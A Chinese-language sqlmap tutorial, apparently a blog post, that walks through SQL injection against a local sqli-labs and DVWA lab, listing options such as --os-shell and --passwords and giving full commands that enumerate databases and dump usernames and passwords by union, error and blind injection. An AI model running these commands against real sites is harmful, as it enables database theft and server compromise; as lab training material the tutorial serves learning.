动态网页用什么语言编写/北京优化网站推广
sqlmap全套使用教程
- 实验环境
- sqlmap常见指令
- 命令使用篇
- 实战篇
- 布尔盲注/时间盲注
- -r
实验环境
windows10+python3.9+sqlmap+sqli2
sqlmap常见指令
sqlmap常用参数:
目标:必须得有
-u : 指定目标URL,sql注入点
请求:
这些选项可用于指定如何连接到目标URL
–data=DATA 数据字符串通过POST发送
–cookie=“COOKIE” HTTP Cookie的值
–random-agent 随机选择 HTTP User-Agent 头的值
–proxy=PROXY 使用代理去连接目标URL
–tor 使用匿名网络
–check-tor 检查Tor是否正确使用
注入:
这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
-p TESTPARAMETER 可测试的参数
–dbms=DBMS 将后端DBMS强制到此值
检测:
这些选项可用于定制检测阶段
–level=LEVEL 执行的测试级别(1-5, 默认 1)
–risk=RISK 执行测试的风险 (1-3, 默认 1)
技术:
这些选项可用于调整特定SQL注入的测试的技术
–technique=TECH SQL注入技术选择 (默认 “BEUSTQ”)
参数 --technique 此参数用于指定检测注入时所用技术。
默认情况下Sqlmap会使用自己支持的全部技术进行 检测。
此参数后跟表 示检测技术的大写字母,其值为B、E、U、S、T或Q,含义如下:
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
可以用“–technique ES”来指定使用两种检测技术。“–technique BEUSTQ”与默认情况等效。
枚举:
T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
-a, --all 检索全部
-b, --banner 检索 banner
–current-user 检索当前用户
–current-db 检索当前数据库
–passwords 列出用户密码的hash值
–tables 列出表
–columns 列出字段
–schema 列出DBMS schema
–dump Dump DBMS数据库表的条目
–dump-all Dump 所有DBMS数据库表的条目
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段
操作系统访问:
这些选项可用于访问后端数据库管理系统底层操作系统
–os-shell 提示为交互式操作系统shell
–os-pwn 提示为OOB外壳,Meterpreter或VNC
通用:
这些选项可用于设置一些通用的工作参数
–batch 永远不要要求用户输入,使用默认行为
–flush-session 刷新当前目标的会话文件
杂项:
–sqlmap-shell 提示输入交互式sqlmap shell
–wizard 初学者的简单向导界面
命令使用篇
获取当前靶场全部数据库
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-1/?id=1 --dbs
获取当前靶场数据库
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-1/?id=1 --current-db
查找数据库dvwa里面的所有表(我这里也安装了dvwa)
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-3/?id=1 -D dvwa --tables
查找dvwa数据库里面的user表里面有哪些列
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-3/?id=1 -D dvwa -T users -columns
获取dvwa数据库中的users表中的user列中的内容
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-4/?id=1 -D dvwa -T users -C user --dump
实战篇
–threads(多线程工具)
查看数据库名称且指定数据库类型为mysql 指定注入手段 联合查询加上报错注入
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-7/?id=1 --technique UE --dbms mysql -dbs --batch
爆出security中所有表名
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-7/?id=1 --technique UE --dbms mysql -D security --tables --batch
爆出users表中的所有字段
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-8/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch
爆出用户信息
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch
布尔盲注/时间盲注
布尔盲注
爆破出所有数据库
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-8/?id=1 --technique B --dbms mysql --dbs --batch --threads 10
时间盲注
爆破出所有数据库
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-9/?id=1 --technique T --dbms mysql -D security --tables --batch
这个是sqli2第10关
python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-10/?id=1 --dbms mysql --dbs --batch --threads 10 -level 5 -risk 3
-r
或者使用burp工具抓请求头
第20关
注意把难度调到level5 risk 3